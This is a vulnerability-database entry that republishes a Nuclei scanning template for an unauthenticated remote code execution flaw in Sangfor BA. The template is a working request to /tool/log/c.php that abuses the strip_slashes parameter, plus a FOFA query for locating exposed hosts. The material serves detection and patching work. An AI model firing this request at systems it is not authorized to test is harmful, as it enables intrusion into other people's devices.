sangfor-ba-rce: Sangfor BA - Remote Code Execution

2025-08-01 深信服BA PoC Public

Description

Sangfor products allow remote unauthenticated users to cause the product to execute arbitrary commands.

PoC

id: sangfor-ba-rce

info:
  name: Sangfor BA - Remote Code Execution
  author: ritikchaddha
  severity: critical
  description: |
    Sangfor products allow remote unauthenticated users to cause the product to execute arbitrary commands.
  reference:
    - https://mobile.twitter.com/sec715/status/1406886851072253953
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-78
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="sangfor"
  tags: rce,sangfor,intrusive,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/tool/log/c.php?strip_slashes=md5&host={{randstr}}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5("{{randstr}}")}}'

      - type: status
        status:
          - 200
# digest: 4a0a0047304502204cdd56a37f5dc71f89960c85d22cdc6ad73bfc76e62b78684922d1a0c48033a80221008b19c02f6b7d766de66aee436b6e52d81b575f7b18fa32e63247c93f081b9aab:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities